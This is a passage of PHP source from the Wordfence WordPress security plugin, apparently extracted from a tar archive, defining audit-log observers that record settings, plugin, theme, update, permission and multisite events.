array('type' => $type, 'reason' => $reason, 'parameters' => $parameters)); }); $auditLog->_addObserver('wordfence_deleted_block', function($type, $reason, $parameters) use ($auditLog) { //Block deleted manually $auditLog->_recordAction(self::WORDFENCE_BLOCKING_DELETED, array('type' => $type, 'reason' => $reason, 'parameters' => $parameters)); }); //Core functionality $auditLog->_addObserver('wordfence_changed_license_key', function($before, $after) use ($auditLog) { //License key changed $auditLog->_recordAction(self::WORDFENCE_LICENSE_KEY_CHANGED, array('before' => $before, 'after' => $after)); }); //IP resolution $auditLog->_addObserver('wordfence_changed_ip_source', function($before, $after) use ($auditLog) { //IP source changed $auditLog->_recordAction(self::WORDFENCE_IP_SOURCE_CHANGED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_updated_trusted_proxies', function($before, $after) use ($auditLog) { //Trusted proxy list changed $changes = wfUtils::array_diff($before, $after); $auditLog->_recordAction(self::WORDFENCE_TRUSTED_PROXIES_UPDATED, array('changes' => $changes)); }); $auditLog->_addObserver('wordfence_changed_trusted_proxy_preset', function($before, $after) use ($auditLog) { //Trusted proxy preset selection changed $auditLog->_recordAction(self::WORDFENCE_TRUSTED_PROXY_PRESET_CHANGED, array('before' => $before, 'after' => $after)); }); //Login Security $auditLog->_addObserver('wordfence_ls_2fa_deactivated', function($user) use ($auditLog) { //2FA deactivated on a user $auditLog->_recordAction(self::WORDFENCE_LS_2FA_DEACTIVATED, $auditLog->_sanitizeUserdata($user)); }); $auditLog->_addObserver('wordfence_ls_2fa_activated', function($user) use ($auditLog) { //2FA activated on a user $auditLog->_recordAction(self::WORDFENCE_LS_2FA_ACTIVATED, $auditLog->_sanitizeUserdata($user)); }); $auditLog->_addObserver('wordfence_ls_xml_rpc_2fa_toggled', function($before, $after) use ($auditLog) { //2FA required for XML-RPC calls $auditLog->_recordAction(self::WORDFENCE_LS_XML_RPC_REQUIRES_2FA_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_ls_updated_allowed_ips', function($before, $after) use ($auditLog) { //Ignored 2FA IP list changed $changes = wfUtils::array_diff($before, $after); $auditLog->_recordAction(self::WORDFENCE_LS_ALLOWED_IPS_UPDATED, array('changes' => $changes)); }); $auditLog->_addObserver('wordfence_ls_changed_ip_source', function($before, $after) use ($auditLog) { //IP source changed (WFLS only) $auditLog->_recordAction(self::WORDFENCE_LS_IP_SOURCE_CHANGED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_ls_updated_trusted_proxies', function($before, $after) use ($auditLog) { //Trusted proxy list changed (WFLS only) $changes = wfUtils::array_diff($before, $after); $auditLog->_recordAction(self::WORDFENCE_LS_TRUSTED_PROXIES_UPDATED, array('changes' => $changes)); }); $auditLog->_addObserver('wordfence_ls_changed_grace_period', function($before, $after) use ($auditLog) { //2FA grace period changed $auditLog->_recordAction(self::WORDFENCE_LS_2FA_GRACE_PERIOD_CHANGED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_ls_xml_rpc_enabled_toggled', function($before, $after) use ($auditLog) { //XML-RPC enabled/disabled $auditLog->_recordAction(self::WORDFENCE_LS_XML_RPC_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_ls_captcha_enabled_toggled', function($before, $after) use ($auditLog) { //Captcha enabled/disabled $auditLog->_recordAction(self::WORDFENCE_LS_CAPTCHA_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_ls_captcha_threshold_changed', function($before, $after) use ($auditLog) { //Captcha threshold changed $auditLog->_recordAction(self::WORDFENCE_LS_CAPTCHA_THRESHOLD_CHANGED, array('before' => $before, 'after' => $after)); }); $auditLog->_addObserver('wordfence_ls_woocommerce_enabled_toggled', function($before, $after) use ($auditLog) { //WooCommerce integration enabled/disabled $auditLog->_recordAction(self::WORDFENCE_LS_WOOCOMMERCE_INTEGRATION_TOGGLED, array('state' => $after)); }); $auditLog->_addObserver('wordfence_ls_captcha_test_mode_toggled', function($before, $after) use ($auditLog) { //Captcha test mode enabled/disabled $auditLog->_recordAction(self::WORDFENCE_LS_CAPTCHA_TEST_MODE_TOGGLED, array('state' => $after)); }); } /** * Registers the data gatherers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerDataGatherers($auditLog) { $auditLog->_addObserver('wordfence_ls_changed_2fa_required', function($role, $value) use ($auditLog) { //2FA requirement changed on a role if (!$auditLog->_hasState('wordfence_ls_changed_2fa_required.changes', 0)) { $auditLog->_trackState('wordfence_ls_changed_2fa_required.changes', array(), 0); } $state = $auditLog->_getState('wordfence_ls_changed_2fa_required.changes', 0); $state[$role] = $value; $auditLog->_trackState('wordfence_ls_changed_2fa_required.changes', $state, 0); $auditLog->_needsDestruct(); }); } /** * Registers the coalescers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerCoalescers($auditLog) { $auditLog->_addCoalescer(function() use ($auditLog) { //Network active plugins changed $changes = $auditLog->_getState('wordfence_ls_changed_2fa_required.changes', 0); if (!is_array($changes) || !count($changes)) { return; } $auditLog->_recordAction(self::WORDFENCE_LS_2FA_REQUIRED_CHANGED, array('changes' => $changes)); }); } }audit-log/wfAuditLogObserversWordPressCoreSite.php000064400000054036147206764270016440 0ustar00 array( self::SITE_DATA_EXPORTED, self::SITE_OPTION_ADMIN_EMAIL, self::SITE_OPTION_ANONYMOUS_COMMENTS, self::SITE_OPTION_COMMENT_MODERATION, self::SITE_OPTION_DEFAULT_COMMENT_STATUS, self::SITE_OPTION_DEFAULT_ROLE, self::SITE_OPTION_HOME_URL, self::SITE_OPTION_SITE_URL, self::SITE_OPTION_USER_REGISTRATION, ), wfAuditLog::AUDIT_LOG_CATEGORY_AUTHENTICATION => array( self::SITE_RECOVERY_MODE_KEY_GENERATED, ), wfAuditLog::AUDIT_LOG_CATEGORY_CONTENT => array( self::SITE_MAIL_SEND_FAILED, self::SITE_MAIL_SENT, ), wfAuditLog::AUDIT_LOG_CATEGORY_USER_PERMISSIONS => array( self::SITE_PERMISSIONS_ROLE_CAPABILITIES, self::SITE_PERMISSIONS_ADMIN_PAGE_DENIED, ), wfAuditLog::AUDIT_LOG_CATEGORY_PLUGINS_THEMES_UPDATES => array( self::SITE_OPTION_ACTIVE_PLUGINS, self::SITE_OPTION_STYLESHEET, self::SITE_OPTION_TEMPLATE, self::SITE_PLUGIN_INSTALLED, self::SITE_PLUGIN_DELETED, self::SITE_PLUGIN_ACTIVATED, self::SITE_PLUGIN_DEACTIVATED, self::SITE_THEME_INSTALLED, self::SITE_THEME_DELETED, self::SITE_THEME_SWITCHED, self::SITE_THEME_CUSTOMIZED, self::SITE_THEME_SIDEBAR_UPDATED, self::SITE_UPDATE_AUTOMATIC_COMPLETED, self::SITE_UPDATE_CORE, self::SITE_UPDATE_PLUGIN, self::SITE_UPDATE_THEME, ), ); } public static function eventNames() { return array( self::SITE_DATA_EXPORTED => __('Site Data Exported', 'wordfence'), self::SITE_RECOVERY_MODE_KEY_GENERATED => __('Recovery Key Generated', 'wordfence'), self::SITE_MAIL_SEND_FAILED => __('Mail Send Failed', 'wordfence'), self::SITE_MAIL_SENT => __('Mail Sent', 'wordfence'), self::SITE_OPTION_ACTIVE_PLUGINS => __('Active Plugins Option Changed', 'wordfence'), self::SITE_OPTION_ADMIN_EMAIL => __('Admin Email Option Changed', 'wordfence'), self::SITE_OPTION_ANONYMOUS_COMMENTS => __('Anonymous Comments Allowed Option Changed', 'wordfence'), self::SITE_OPTION_COMMENT_MODERATION => __('Comment Moderation Default Option Changed', 'wordfence'), self::SITE_OPTION_DEFAULT_COMMENT_STATUS => __('Default Comment Status Option Changed', 'wordfence'), self::SITE_OPTION_DEFAULT_ROLE => __('Default User Role Option Changed', 'wordfence'), self::SITE_OPTION_HOME_URL => __('Home URL Option Changed', 'wordfence'), self::SITE_OPTION_SITE_URL => __('Site URL Option Changed', 'wordfence'), self::SITE_OPTION_STYLESHEET => __('Child Theme Option Changed', 'wordfence'), self::SITE_OPTION_TEMPLATE => __('Parent Theme Option Changed', 'wordfence'), self::SITE_OPTION_USER_REGISTRATION => __('User Registration Permission Option Changed', 'wordfence'), self::SITE_PERMISSIONS_ROLE_CAPABILITIES => __('Role Capabilities Changed', 'wordfence'), self::SITE_PERMISSIONS_ADMIN_PAGE_DENIED => __('Admin Page View Denied', 'wordfence'), self::SITE_PLUGIN_INSTALLED => __('Plugin Installed', 'wordfence'), self::SITE_PLUGIN_DELETED => __('Plugin Deleted', 'wordfence'), self::SITE_PLUGIN_ACTIVATED => __('Plugin Activated', 'wordfence'), self::SITE_PLUGIN_DEACTIVATED => __('Plugin Deactivated', 'wordfence'), self::SITE_THEME_INSTALLED => __('Theme Installed', 'wordfence'), self::SITE_THEME_DELETED => __('Theme Deleted', 'wordfence'), self::SITE_THEME_SWITCHED => __('Theme Switched', 'wordfence'), self::SITE_THEME_CUSTOMIZED => __('Theme Customized', 'wordfence'), self::SITE_THEME_SIDEBAR_UPDATED => __('Theme Sidebar Updated', 'wordfence'), self::SITE_UPDATE_AUTOMATIC_COMPLETED => __('Automatic Updates Completed', 'wordfence'), self::SITE_UPDATE_CORE => __('Core Update Completed', 'wordfence'), self::SITE_UPDATE_PLUGIN => __('Plugin Update Completed', 'wordfence'), self::SITE_UPDATE_THEME => __('Theme Update Completed', 'wordfence'), ); } public static function eventRateLimiters() { return array( self::SITE_PERMISSIONS_ROLE_CAPABILITIES => function($auditLog, $payload) { $hash = self::_normalizedPayloadHash($payload); if (self::_rateLimiterCheck(self::SITE_PERMISSIONS_ROLE_CAPABILITIES, $hash)) { self::_rateLimiterConsume(self::SITE_PERMISSIONS_ROLE_CAPABILITIES, $hash); return true; } return false; }, ); } /** * Registers the observers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerObservers($auditLog) { $auditLog->_addObserver('export_wp', function($args) use ($auditLog) { //Exported WP data $auditLog->_recordAction(self::SITE_DATA_EXPORTED, array('settings' => $args)); }); if ($auditLog->mode() == self::AUDIT_LOG_MODE_ALL) { $auditLog->_addObserver('wp_mail_succeeded', function($args) use ($auditLog) { //Mail sent $payload = array( 'to_count' => isset($args['to']) ? count($args['to']) : 0, 'subject' => isset($args['subject']) ? $args['subject'] : null, 'attachment_count' => isset($args['attachments']) ? count($args['attachments']) : 0, ); $auditLog->_recordAction(self::SITE_MAIL_SENT, $payload); }); $auditLog->_addObserver('wp_mail_failed', function($error /** @var WP_Error $error */) use ($auditLog) { //Mail failed sending $args = $error->get_error_data(); $payload = array( 'to_count' => isset($args['to']) ? count($args['to']) : 0, 'subject' => isset($args['subject']) ? $args['subject'] : null, 'attachment_count' => isset($args['attachments']) ? count($args['attachments']) : 0, 'error' => $error->get_error_message(), ); $auditLog->_recordAction(self::SITE_MAIL_SEND_FAILED, $payload); }); } $auditLog->_addObserver('update_option_comment_registration', function($old_value, $value, $option) use ($auditLog) { //Comment registration required enabled/disabled $auditLog->_recordAction(self::SITE_OPTION_ANONYMOUS_COMMENTS, array('state' => wfUtils::truthyToBoolean($value))); }); $auditLog->_addObserver('update_option_default_role', function($old_value, $value, $option) use ($auditLog) { //Default role on user registration $auditLog->_recordAction(self::SITE_OPTION_DEFAULT_ROLE, array('state' => $value)); }); $auditLog->_addObserver('update_option_users_can_register', function($old_value, $value, $option) use ($auditLog) { //User registration allowed $auditLog->_recordAction(self::SITE_OPTION_USER_REGISTRATION, array('state' => wfUtils::truthyToBoolean($value))); }); $auditLog->_addObserver('update_option_siteurl', function($old_value, $value, $option) use ($auditLog) { //Site URL $auditLog->_recordAction(self::SITE_OPTION_SITE_URL, array('url' => $value)); }); $auditLog->_addObserver('update_option_home', function($old_value, $value, $option) use ($auditLog) { //Home URL $auditLog->_recordAction(self::SITE_OPTION_HOME_URL, array('url' => $value)); }); $auditLog->_addObserver('update_option_admin_email', function($old_value, $value, $option) use ($auditLog) { //Admin email $auditLog->_recordAction(self::SITE_OPTION_ADMIN_EMAIL, array('email' => $value)); }); $auditLog->_addObserver('update_option_default_comment_status', function($old_value, $value, $option) use ($auditLog) { //Default comment status $auditLog->_recordAction(self::SITE_OPTION_DEFAULT_COMMENT_STATUS, array('status' => $value)); }); $auditLog->_addObserver('update_option_comment_moderation', function($old_value, $value, $option) use ($auditLog) { //Comment moderation enabled/disabled $auditLog->_recordAction(self::SITE_OPTION_COMMENT_MODERATION, array('state' => wfUtils::truthyToBoolean($value))); }); $auditLog->_addObserver('update_option_template', function($old_value, $value, $option) use ($auditLog) { //Theme selected, this is the parent theme value $auditLog->_recordAction(self::SITE_OPTION_TEMPLATE, array('theme' => $value)); }); $auditLog->_addObserver('update_option_stylesheet', function($old_value, $value, $option) use ($auditLog) { //Theme selected, this is the child theme value $auditLog->_recordAction(self::SITE_OPTION_STYLESHEET, array('theme' => $value)); }); $auditLog->_addObserver('admin_page_access_denied', function() use ($auditLog) { //Admin page view denied $auditLog->_recordAction(self::SITE_PERMISSIONS_ADMIN_PAGE_DENIED, array()); }); $auditLog->_addObserver('activated_plugin', function($relative_path, $network_wide) use ($auditLog) { //Plugin activated $path = trailingslashit(WP_PLUGIN_DIR) . $relative_path; if (is_readable($path)) { $plugin = $auditLog->_getPlugin($path); if ($plugin) { $auditLog->_recordAction(self::SITE_PLUGIN_ACTIVATED, array('plugin' => $plugin, 'network' => $network_wide)); } } }); $auditLog->_addObserver('deactivated_plugin', function($relative_path, $network_wide) use ($auditLog) { //Plugin deactivated $path = trailingslashit(WP_PLUGIN_DIR) . $relative_path; if (is_readable($path)) { $plugin = $auditLog->_getPlugin($path); if ($plugin) { $auditLog->_recordAction(self::SITE_PLUGIN_DEACTIVATED, array('plugin' => $plugin, 'network' => $network_wide)); } } }); $auditLog->_addObserver('deleted_plugin', function($relative_path, $deleted) use ($auditLog) { //Plugin deleted if ($deleted && $auditLog->_hasState('delete_plugin.plugin')) { $auditLog->_recordAction(self::SITE_PLUGIN_DELETED, array('plugin' => $auditLog->_getState('delete_plugin.plugin'))); } }); $auditLog->_addObserver('switch_theme', function($new_name, $new_theme, $old_theme) use ($auditLog) { //Theme switched $auditLog->_recordAction(self::SITE_THEME_SWITCHED, array('from' => $auditLog->_getTheme($old_theme), 'to' => $auditLog->_getTheme($new_theme))); }); $auditLog->_addObserver('deleted_theme', function($stylesheet, $deleted) use ($auditLog) { //Theme deleted if ($deleted && $auditLog->_hasState('delete_theme.theme')) { $auditLog->_recordAction(self::SITE_THEME_DELETED, array('theme' => $auditLog->_getState('delete_theme.theme'))); } }); $auditLog->_addObserver('customize_save_after', function($manager /** @var WP_Customize_Manager $manager */) use ($auditLog) { //Theme customized $auditLog->_recordAction(self::SITE_THEME_CUSTOMIZED, array('theme' => $auditLog->_getTheme($manager->theme()))); }); $auditLog->_addObserver('upgrader_process_complete', function($upgrader, $hook_extra) use ($auditLog) { //Updates completed $afterVersions = $auditLog->_installedVersions(); //Core if (is_array($hook_extra) && isset($hook_extra['type']) && $hook_extra['type'] == 'core' && isset($hook_extra['action']) && $hook_extra['action'] == 'update') { $payload = array( 'core' => $afterVersions['core'], ); $payload['previous_version'] = self::$initialCoreVersion; $auditLog->_recordAction(self::SITE_UPDATE_CORE, $payload); } //Plugins/themes if ($auditLog->_hasState('upgrader_post_install.pending', 0)) { $pending = $auditLog->_getState('upgrader_post_install.pending', 0); foreach ($pending as $p) { if ($p['action'] == self::SITE_PLUGIN_INSTALLED || $p['action'] == self::SITE_UPDATE_PLUGIN) { $relativePath = preg_replace('/^' . preg_quote(WP_PLUGIN_DIR, '/') . '/', '', $p['path']); if (!(validate_file($relativePath) === 0 //this conditional matches the plugin loader's requirements && preg_match('/\.php$/i', $relativePath) && file_exists(WP_PLUGIN_DIR . '/' . $relativePath) && is_readable($p['path']))) { continue; } $plugin = $auditLog->_getPlugin($p['path']); if ($plugin) { $auditLog->_recordAction($p['action'], array('plugin' => $plugin)); } } else if ($p['action'] == self::SITE_THEME_INSTALLED || $p['action'] == self::SITE_UPDATE_THEME) { if (!is_readable($p['path'])) { continue; } $theme = $auditLog->_getTheme($p['path']); if ($theme) { $auditLog->_recordAction($p['action'], array('theme' => $theme)); } } } $auditLog->_trackState('upgrader_post_install.pending', array(), 0); } }); $auditLog->_addObserver('automatic_updates_complete', function($update_results) use ($auditLog) { //Automatic updates complete $auditLog->_recordAction(self::SITE_UPDATE_AUTOMATIC_COMPLETED, array('results' => $update_results)); }); $auditLog->_addObserver('generate_recovery_mode_key', function($token, $key) use ($auditLog) { //Recovery key generated $auditLog->_recordAction(self::SITE_RECOVERY_MODE_KEY_GENERATED, array()); }); } /** * Registers the data gatherers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerDataGatherers($auditLog) { $auditLog->_addObserver('update_option', function($option, $old_value, $value) use ($auditLog) { //User role capabilities changed if (preg_match('/user_roles$/i', $option)) { //For some reason this option is stored prefixed inside a table that is already prefixed on multisite, so we have to treat it special if (!$auditLog->_hasState('update_option_wp_user_roles.old', $auditLog->_extractMultisiteID($option, 'user_roles'))) { $auditLog->_trackState('update_option_wp_user_roles.old', $old_value, $auditLog->_extractMultisiteID($option, 'user_roles')); } $auditLog->_trackState('update_option_wp_user_roles.new', $value, $auditLog->_extractMultisiteID($option, 'user_roles')); $auditLog->_needsDestruct(); } }); $auditLog->_addObserver('update_option_active_plugins', function($old_value, $value, $option) use ($auditLog) { //Active plugins changed if (!$auditLog->_hasState('update_option_active_plugins.old', get_current_blog_id())) { $auditLog->_trackState('update_option_active_plugins.old', $old_value, get_current_blog_id()); } $auditLog->_trackState('update_option_active_plugins.new', $value, get_current_blog_id()); $auditLog->_needsDestruct(); }); $auditLog->_addObserver('delete_plugin', function($relative_path) use ($auditLog) { //Plugin will be deleted $path = trailingslashit(WP_PLUGIN_DIR) . $relative_path; if (is_readable($path)) { $plugin = $auditLog->_getPlugin($path); if ($plugin) { $auditLog->_trackState('delete_plugin.plugin', $plugin); } } }); $auditLog->_addObserver('delete_theme', function($stylesheet) use ($auditLog) { //Theme will be deleted $theme = $auditLog->_getTheme(wp_get_theme($stylesheet)); if ($theme) { $auditLog->_trackState('delete_theme.theme', $theme); } }); $auditLog->_addObserver('upgrader_pre_install', function($response, $hook_extra) use ($auditLog) { //Plugin/theme/core will be installed/updated, capture initial versions if (!$auditLog->_hasState('upgrader_pre_install.versions', 0)) { $auditLog->_trackState('upgrader_pre_install.versions', $auditLog->_installedVersions(), 0); } }, 'filter'); $auditLog->_addObserver('upgrader_post_install', function($response, $hook_extra, $result) use ($auditLog) { //Plugin/theme installed/updated if ($response && !is_wp_error($result)) { $pending = array(); if ($auditLog->_hasState('upgrader_post_install.pending', 0)) { $pending = $auditLog->_getState('upgrader_post_install.pending', 0); } /* * $hook_extra install example: * * array ( * 'type' => 'plugin', * 'action' => 'install', * ) * * * $hook_extra update example: * * array ( * 'plugin' => 'wordfence/wordfence.php', * 'temp_backup' => * array ( * 'slug' => 'wordfence', * 'src' => '/path/to/wp-content/plugins', * 'dir' => 'plugins', * ), * ) */ /* * $result example: * * array ( * 'source' => '/path/to/wp-content/upgrade/wordfence.8.0.0/wordfence/', * 'source_files' => * array ( * 0 => 'LICENSE.txt', * 1 => 'readme.txt', * 2 => 'wordfence.php', * 3 => ... * ), * 'destination' => '/path/to/wp-content/plugins/wordfence/', * 'destination_name' => 'wordfence', * 'local_destination' => '/path/to/wp-content/plugins', * 'remote_destination' => '/path/to/plugins/wordfence/', * 'clear_destination' => false, * ) */ if (isset($hook_extra['action']) && isset($hook_extra['type']) && isset($result['source']) && isset($result['destination'])) { //Install if ($hook_extra['action'] == 'install') { if ($hook_extra['type'] == 'plugin') { $path = $auditLog->_resolvePlugin(untrailingslashit($result['destination'])); if ($path) { $pending[] = array('action' => self::SITE_PLUGIN_INSTALLED, 'path' => $path); } } else if ($hook_extra['type'] == 'theme') { $path = $result['destination']; $pending[] = array('action' => self::SITE_THEME_INSTALLED, 'path' => $path); //Can't record here since version data hasn't refreshed yet } } } else if (isset($hook_extra['plugin']) && isset($result['source']) && isset($result['destination'])) { //Plugin update $path = $auditLog->_resolvePlugin(trailingslashit(WP_PLUGIN_DIR) . $hook_extra['plugin']); if ($path) { $pending[] = array('action' => self::SITE_UPDATE_PLUGIN, 'path' => $path); } } else if (isset($hook_extra['theme']) && isset($result['source']) && isset($result['destination'])) { //Theme update $path = trailingslashit(get_theme_root()) . $hook_extra['theme']; $pending[] = array('action' => self::SITE_UPDATE_THEME, 'path' => $path); } $auditLog->_trackState('upgrader_post_install.pending', $pending, 0); } return $response; }, 'filter'); } /** * Registers the coalescers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerCoalescers($auditLog) { $auditLog->_addCoalescer(function() use ($auditLog) { //Role capabilities changed $old = $auditLog->_getAllStates('update_option_wp_user_roles.old'); if (!count($old)) { return; } if (count($old) > 1) { $payload = array(); foreach ($old as $blog_id => $o) { $new = $auditLog->_getState('update_option_wp_user_roles.new', $blog_id); $diff = wfUtils::array_diff($o, $new); if (!empty($diff['added']) || !empty($diff['removed'])) { $payload[] = array('capabilities' => $new, 'diff' => $diff, 'multisite_blog_id' => $blog_id); } } if (count($payload)) { $auditLog->_recordAction(self::SITE_PERMISSIONS_ROLE_CAPABILITIES, array('changes' => $payload)); } } else { $blog_id = wfUtils::array_key_first($old); $old = $old[$blog_id]; $new = $auditLog->_getState('update_option_wp_user_roles.new', $blog_id); $diff = wfUtils::array_diff($old, $new); if (!empty($diff['added']) || !empty($diff['removed'])) { $auditLog->_recordAction(self::SITE_PERMISSIONS_ROLE_CAPABILITIES, array('capabilities' => $new, 'diff' => $diff)); } } }); $auditLog->_addCoalescer(function() use ($auditLog) { //Active plugins changed $old = $auditLog->_getAllStates('update_option_active_plugins.old'); if (!count($old)) { return; } if (count($old) > 1) { $payload = array(); foreach ($old as $blog_id => $o) { $new = $auditLog->_getState('update_option_active_plugins.new', $blog_id); $diff = wfUtils::array_diff($o, $new); if (!empty($diff['added']) || !empty($diff['removed'])) { $payload[] = array('plugins' => $new, 'diff' => $diff, 'multisite_blog_id' => $blog_id); } } if (count($payload)) { $auditLog->_recordAction(self::SITE_OPTION_ACTIVE_PLUGINS, array('changes' => $payload)); } } else { $blog_id = wfUtils::array_key_first($old); $old = $old[$blog_id]; $new = $auditLog->_getState('update_option_active_plugins.new', $blog_id); $diff = wfUtils::array_diff($old, $new); if (!empty($diff['added']) || !empty($diff['removed'])) { $auditLog->_recordAction(self::SITE_OPTION_ACTIVE_PLUGINS, array('plugins' => $new, 'diff' => $diff)); } } }); } }audit-log/wfAuditLogObserversWordPressCoreMultisite.php000064400000033150147206764270017505 0ustar00 array( self::MULTISITE_BLOG_CREATED, self::MULTISITE_BLOG_DELETED, self::MULTISITE_BLOG_UPDATED, self::MULTISITE_BLOG_ACTIVATED, self::MULTISITE_BLOG_DEACTIVATED, self::MULTISITE_BLOG_SIGNUP_SUBMITTED, self::MULTISITE_BLOG_MARK_ARCHIVED, self::MULTISITE_BLOG_MARK_DELETED, self::MULTISITE_BLOG_MARK_PUBLIC, self::MULTISITE_BLOG_MARK_SPAM, self::MULTISITE_BLOG_UNMARK_ARCHIVED, self::MULTISITE_BLOG_UNMARK_DELETED, self::MULTISITE_BLOG_UNMARK_PUBLIC, self::MULTISITE_BLOG_UNMARK_SPAM, ), wfAuditLog::AUDIT_LOG_CATEGORY_PLUGINS_THEMES_UPDATES => array( self::MULTISITE_NETWORK_OPTION_ACTIVE_PLUGINS, ), wfAuditLog::AUDIT_LOG_CATEGORY_USER_PERMISSIONS => array( self::MULTISITE_USER_CREATED, self::MULTISITE_USER_DELETED, self::MULTISITE_USER_ACTIVATED, self::MULTISITE_USER_ADDED, self::MULTISITE_USER_REMOVED, self::MULTISITE_USER_INVITED, self::MULTISITE_USER_SIGNED_UP, self::USER_SUPER_ADMIN_GRANTED, self::USER_SUPER_ADMIN_REVOKED, ), ); } public static function eventNames() { return array( self::MULTISITE_BLOG_CREATED => __('Multisite Blog Created', 'wordfence'), self::MULTISITE_BLOG_DELETED => __('Multisite Blog Deleted', 'wordfence'), self::MULTISITE_BLOG_UPDATED => __('Multisite Blog Updated', 'wordfence'), self::MULTISITE_BLOG_ACTIVATED => __('Multisite Blog Activated', 'wordfence'), self::MULTISITE_BLOG_DEACTIVATED => __('Multisite Blog Deactivated', 'wordfence'), self::MULTISITE_BLOG_SIGNUP_SUBMITTED => __('Multisite Blog Signup Submitted', 'wordfence'), self::MULTISITE_BLOG_MARK_ARCHIVED => __('Multisite Blog Archived', 'wordfence'), self::MULTISITE_BLOG_MARK_DELETED => __('Multisite Blog Moved to Trash', 'wordfence'), self::MULTISITE_BLOG_MARK_PUBLIC => __('Multisite Blog Made Public', 'wordfence'), self::MULTISITE_BLOG_MARK_SPAM => __('Multisite Blog Marked as Spam', 'wordfence'), self::MULTISITE_BLOG_UNMARK_ARCHIVED => __('Multisite Blog Unarchived', 'wordfence'), self::MULTISITE_BLOG_UNMARK_DELETED => __('Multisite Blog Removed from Trash', 'wordfence'), self::MULTISITE_BLOG_UNMARK_PUBLIC => __('Multisite Blog Made Private', 'wordfence'), self::MULTISITE_BLOG_UNMARK_SPAM => __('Multisite Blog Unmarked as Spam', 'wordfence'), self::MULTISITE_USER_CREATED => __('Multisite User Created', 'wordfence'), self::MULTISITE_USER_DELETED => __('Multisite User Deleted', 'wordfence'), self::MULTISITE_USER_ACTIVATED => __('Multisite User Activated', 'wordfence'), self::MULTISITE_USER_ADDED => __('User Added to Multisite Blog', 'wordfence'), self::MULTISITE_USER_REMOVED => __('User Removed from Multisite Blog', 'wordfence'), self::MULTISITE_USER_INVITED => __('User Invited to Multisite Blog', 'wordfence'), self::MULTISITE_USER_SIGNED_UP => __('User Signed Up on Multisite Blog', 'wordfence'), self::MULTISITE_NETWORK_OPTION_ACTIVE_PLUGINS => __('Multisite Network Plugins Changed', 'wordfence'), self::USER_SUPER_ADMIN_GRANTED => __('Super Admin Granted to User', 'wordfence'), self::USER_SUPER_ADMIN_REVOKED => __('Super Admin Revoked from User', 'wordfence'), ); } public static function eventRateLimiters() { return array(); } /** * Registers the observers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerObservers($auditLog) { if (!is_multisite()) { return; } $auditLog->_addObserver('activate_blog', function($id) use ($auditLog) { //Multisite blog activated (from deactivated state -- WP uses trashed/untrashed pattern internally for this) $blog = get_blog_details(array('blog_id' => $id)); $auditLog->_recordAction(self::MULTISITE_BLOG_ACTIVATED, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog))); }); $auditLog->_addObserver('wp_insert_site', function($blog) use ($auditLog) { //Multisite blog created $auditLog->_recordAction(self::MULTISITE_BLOG_CREATED, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog))); }); $auditLog->_addObserver('wp_delete_site', function($blog) use ($auditLog) { //Multisite blog deleted if ($auditLog->_hasState('wp_validate_site_deletion.blog')) { $auditLog->_recordAction(self::MULTISITE_BLOG_DELETED, array('blog' => $auditLog->_getState('wp_validate_site_deletion.blog'))); } }); $auditLog->_addObserver('wp_update_site', function($new_blog, $old_blog) use ($auditLog) { //Multisite blog updated $before = $auditLog->_sanitizeMultisiteData(false, $old_blog); $after = $auditLog->_sanitizeMultisiteData(false, $new_blog); $changes = array_keys($auditLog->_multisiteDiff($before, $after)); $auditLog->_recordAction(self::MULTISITE_BLOG_UPDATED, array('blog' => $after, 'changes' => $changes)); }); $auditLog->_addObserver('archive_blog', function($blog_id) use ($auditLog) { //Multisite blog archived $blog = get_blog_details(array('blog_id' => $blog_id)); $auditLog->_recordAction(self::MULTISITE_BLOG_MARK_ARCHIVED, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog))); }); $auditLog->_addObserver('unarchive_blog', function($blog_id) use ($auditLog) { //Multisite blog unarchived $blog = get_blog_details(array('blog_id' => $blog_id)); $auditLog->_recordAction(self::MULTISITE_BLOG_UNMARK_ARCHIVED, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog))); }); $auditLog->_addObserver('make_delete_blog', function($blog_id) use ($auditLog) { //Multisite blog trashed $blog = get_blog_details(array('blog_id' => $blog_id)); $auditLog->_recordAction(self::MULTISITE_BLOG_MARK_DELETED, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog))); }); $auditLog->_addObserver('make_undelete_blog', function($blog_id) use ($auditLog) { //Multisite blog untrashed $blog = get_blog_details(array('blog_id' => $blog_id)); $auditLog->_recordAction(self::MULTISITE_BLOG_UNMARK_DELETED, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog))); }); $auditLog->_addObserver('update_blog_public', function($blog_id, $public) use ($auditLog) { //Multisite blog made public/private $blog = get_blog_details(array('blog_id' => $blog_id)); $auditLog->_recordAction(wfUtils::truthyToBoolean($public) ? self::MULTISITE_BLOG_MARK_PUBLIC : self::MULTISITE_BLOG_UNMARK_PUBLIC, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog))); }); $auditLog->_addObserver('make_spam_blog', function($blog_id) use ($auditLog) { //Multisite blog marked spam $blog = get_blog_details(array('blog_id' => $blog_id)); $auditLog->_recordAction(self::MULTISITE_BLOG_MARK_SPAM, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog))); }); $auditLog->_addObserver('make_ham_blog', function($blog_id) use ($auditLog) { //Multisite blog unmarked spam $blog = get_blog_details(array('blog_id' => $blog_id)); $auditLog->_recordAction(self::MULTISITE_BLOG_UNMARK_SPAM, array('blog' => $auditLog->_sanitizeMultisiteData(false, $blog))); }); $auditLog->_addObserver('after_signup_site', function($domain, $path, $title, $user, $user_email, $key, $meta) use ($auditLog) { //Multisite blog signup $auditLog->_recordAction(self::MULTISITE_BLOG_SIGNUP_SUBMITTED, array( 